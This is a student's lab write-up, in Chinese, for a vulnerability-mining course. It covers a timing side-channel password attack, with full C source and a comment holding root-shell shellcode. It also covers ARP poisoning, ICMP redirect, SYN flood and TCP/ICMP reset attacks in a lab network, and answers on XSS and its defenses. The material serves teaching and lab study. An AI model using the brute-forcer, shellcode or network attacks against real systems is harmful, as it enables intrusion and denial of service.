漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验题目Lab侧信道攻击+TCP/IP实验Pre1、用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因。2、阅读下面两篇文章或者阅读一本书<<JavaScriptDOM编程艺术>>:JavascriptTutorialhttps://www.evl.uic.edu/luc/bv…

大家好,又见面了,我是你们的朋友全栈君。

漏洞挖掘前言

题目

Lab

侧信道攻击 + TCP/IP实验

Pre

1、用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因。

2、阅读下面两篇文章或者阅读一本书<<JavaScript DOM编程艺术>>:
Javascript Tutorial 
https://www.evl.uic.edu/luc/bvis546/Essential_Javascript_–_A_Javascript_Tutorial.pdf
XMLHttpRequest 
http://www.w3school.com.cn/ajax/
http://www.hunlock.com/blogs/AJAX_for_n00bs

3、了解FireFox的两个插件LiveHttpHeaders和Firebug的基本使用方法。

4、阅读下面这篇文章:
跨站脚本攻击实例解析
http://bbs.pediy.com/showthread.php?t=124209

5、阅读下面这两篇文章:
DOM Based Cross Site Scripting or XSS of the Third Kind
http://www.webappsec.org/projects/articles/071105.html 

XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion
http://80×86.io/post/xsscrosssitescriptingcheatsheetespforfilterevasion

6、XSS漏洞的触发条件有哪些?应该如何防范?

 

 

解答

Lab

侧信道攻击 + TCP/IP实验

一、侧信道攻击

这次测信道攻击的漏洞的主要原因是:1、密码是逐个字符判断的。2、输入正确字符和错误字符造成的判断时间相差较大,由于此两点原因,我们可以根据漏洞程序的执行时间逐步判断密码的每一位字符是否正确,从而最终猜解出密码。

我构写的攻击程序attack.c如下:

//sidechannel S1deCh4nnelAttack3r $(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
int main()
{
	char temp[] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z' };
	char now[19] = "";
	long int time[63];
	int num[63];
	int i, j, k;
	pid_t pid;
	for (i = 0; i <= 18; i++)
	{
		memset(num, 0, sizeof(num));
		for (k = 0; k < 20; k++)
		{
			for (j = 0; j < 63; j++)
			{
				now[i] = temp[j];
				struct timeval start, end;
				gettimeofday(&start, NULL);
				if ((pid = fork()) == 0) {
					execl("./sidechannel", "sidechannel", now, "0", (char *)0);
				}
				else {
					waitpid(pid, NULL, 0);
				}
				gettimeofday(&end, NULL);
				time[j] = (end.tv_sec - start.tv_sec) * 1000000 + (end.tv_usec - start.tv_usec);

			}
			int flag;
			if (i < 18)
			{
				long int value = 2147483647;
				for (j = 0; j < 63; j++)
				{
					//printf("%ld ", time[j]);
					if (value > time[j])
					{
						value = time[j];
						flag = j;
					}
				}
			}
			else
			{
				long int value = -1;
				for (j = 0; j < 63; j++)
				{
					//printf("%ld ", time[j]);
					if (value < time[j])
					{
						value = time[j];
						flag = j;
					}
				}
			}
			num[flag]++;
		}
		long int value = -1, Flag;
		for (j = 0; j < 63; j++)
		{
			//printf("%d ", num[j]);
			if (value < num[j])
			{
				value = num[j];
				Flag = j;
			}
		}
		now[i] = temp[Flag];
		printf("%s\n", now);
	}
	return 0;
}

此代码的基本思想就是:对于每个密码字符,循环20遍、每遍都把63个可能字符尝试一次。对于前18个密码字符,每次循环都会记录这次用时最短的字符,最后选取获得“用时最短字符”次数最多的那个字符;对于第19个字符,每次循环都会记录这次用时最长的字符,最后选取获得“用时最长字符”次数最多的那个字符。

这个代码经过我的测试,发现成功率还是非常高的,而且用时也控制的比较合理,30s以内即能得出结果。

运行演示:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

攻击成功

 

二、TCP/IP实验

Task (1) : ARP cache poisoning

三台机器的IP地址为:192.168.43.204、192.168.43.181、192.168.43.23

在每台机器上运行ifconfig命令,得到网络配置信息如下:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

 

在每台机器上运行arp –na命令

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

 

该命令的含义是告诉23主机,IP地址为192.168.198.181的MAC地址为00:0c:29:e6:b8:4a(实际上是204的地址)。

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

在23主机上运行ping 192.168.198.181命令,并抓取该包,得到下面的信息:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

虽然网络层IP是请求181主机,但是MAC地址却是204主机的,该包将会被204主机接收和处理,而181主机不会接收和处理该包。

 

Task (2) : ICMP Redirect Attack

在正常情况下,我们traceroute百度的结果如下(首先要安装traceroute):

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

为了把181主机访问BBS的包重定向到204主机,204主机需要以路由器(192.168.43.75)的名义发送一个包,通知网关已经更新为204主机。攻击命令如下:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

再次在181主机运行前面的命令:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

可以看出访问失败

 

Task (3) : SYN Flooding Attack

在正常情况下,181主机上的telnet连接状态如下

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

我们用下面的命令对该服务进行SYN洪泛

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

再次查看telnet的连接状态,可以发现有大量半连接:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

将net.ipv4.tcp_syncookies置为0后再次进行攻击,131主机不再进行重置工作,其他的登陆就登陆不上去,而不是之前那样登陆很慢而已。

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

 

Task (4) : TCP RST Attacks on telnet and ssh Connections

23主机登陆181主机

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

查看连接端口为23

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

204主机攻击

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

连接被中断:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

 

Task (6) : ICMP Blind Connection-Reset and Source-Quench Attacks

23主机登陆181主机,204主机使用命令sudo netwox 82 — device “Eth0” — filter “host 192.168.1.104 and tcp port 23” — code 2

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

可以看出,MAC源地址为全0,这个包是由204主机伪造的。

 

 

Pre

1、用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因。

这是查看当前网页登录的cookie信息的命令。

直接复制这段话会被浏览器自动识别,过滤掉“javascript”,所以可以先输入“1javascript:alert(document.cookie)”,复制到地址栏后再删掉开头的“1”。

最终查看cookie信息如下:

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

 

2、阅读下面两篇文章或者阅读一本书<<JavaScript DOM编程艺术>>:

Javascript Tutorial

https://www.evl.uic.edu/luc/bvis546/Essential_Javascript_–_A_Javascript_Tutorial.pdf

XMLHttpRequest

http://www.w3school.com.cn/ajax/

http://www.hunlock.com/blogs/AJAX_for_n00bs

 

文章1是一个Javascript的入门教程,从最基础的helloworld教起,把代码copy进txt文档,改后缀名为html,双击即可运行我们的代码。

漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

教程包括各种形式的输入、输出,还有判断、循环等等基本语法知识,也是比较好理解的。

后面的两个网址都拒绝访问了。。。看不到内容。

 

3、了解FireFox的两个插件LiveHttpHeaders和Firebug的基本使用方法。

LiveHttpHeaders是一款可以用来实时监测发起的http请求和响应,也可以修改请求参数之后重新发起请求的插件,其实就是抓包。在网上看了大致的抓包流程。但是这插件貌似新版的FireFox已经不兼容了,安装会提示失败。

Firebug是firefox下的一个扩展,能够调试所有网站语言,如Html,Css等,但FireBug最吸引人的就是javascript调试功能,使用起来非常方便,而且在各种浏览器下都能使用。但是Firebug貌似也已经停止开发和更新维护,升级成为浏览器内置的DevTools。

 

4、阅读下面这篇文章:跨站脚本攻击实例解析

http://bbs.pediy.com/showthread.php?t=124209

XSS:跨站脚本,是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

这篇文章介绍的是博客大巴存储型XSS漏洞,主要是“附加信息”的内容过滤不严,导致漏洞。文章演示了很多攻击方式利用此漏洞,包括:窃取Cookie、渗透路由器、读取本地文件等。

 

5、阅读下面这两篇文章:

DOM Based Cross Site Scripting or XSS of the Third Kind

http://www.webappsec.org/projects/articles/071105.html

文章提出了“第三类”XSS攻击,其最大特点是这种类型的攻击不依赖于起初发送到服务端的恶意数据。这与我们上一题中的几种攻击方法显然是矛盾的,但这也是这种方法发特别之处。

文章对于如何不通过服务器实现攻击给出了一个明显的例子:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

这种不依赖于服务端嵌入数据的xss攻击,具有很重要的现实意义,它可以绕过很多现有的检测和防护技术。

 

XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion

http://80×86.io/post/xsscrosssitescriptingcheatsheetespforfilterevasion

文章描述了一种恰当地使用输出转码或者转义防御XSS攻击的简单积极模式。文章给出了7条XSS防御规则:1、不插入不可信数据、在插入不可信数据到HTML元素内容前,执行HTML转义。2、在插入不可信数据到HTML元素通用属性前,执行属性转义。3、在插入不可信数据到JS数据值前,执行JS转义。4、在插入不可信数据到HTML style属性值之前,执行CSS转义并严格校验。5、在插入不可信数据到URL参数值之前,执行URL转义。6、使用专门的库清理掉HTML标签。7、防御DOM Based XSS攻击。

 

6、XSS漏洞的触发条件有哪些?应该如何防范?

触发条件:

1、插入javascript和vbscript正常字符。

2、转换字符类型

3、插入混淆字符

4、利用CSS代码@import、expression触发XSS漏洞

5、在CSS代码中加入javascript和vbscript脚本

6、转换字符类型,以十六进制字符替换其中或全部的字符

7、插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符”\”和结束符”\0″也是被忽略的,可以用来混淆字符。

 

防范方法:

XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码。

1、编码,就是转义用户的输入,把用户的输入解读为数据而不是代码

2、校验,对用户的输入及请求都进行过滤检查,如对特殊字符进行过滤,设置输入域的匹配规则等。

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/159768.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号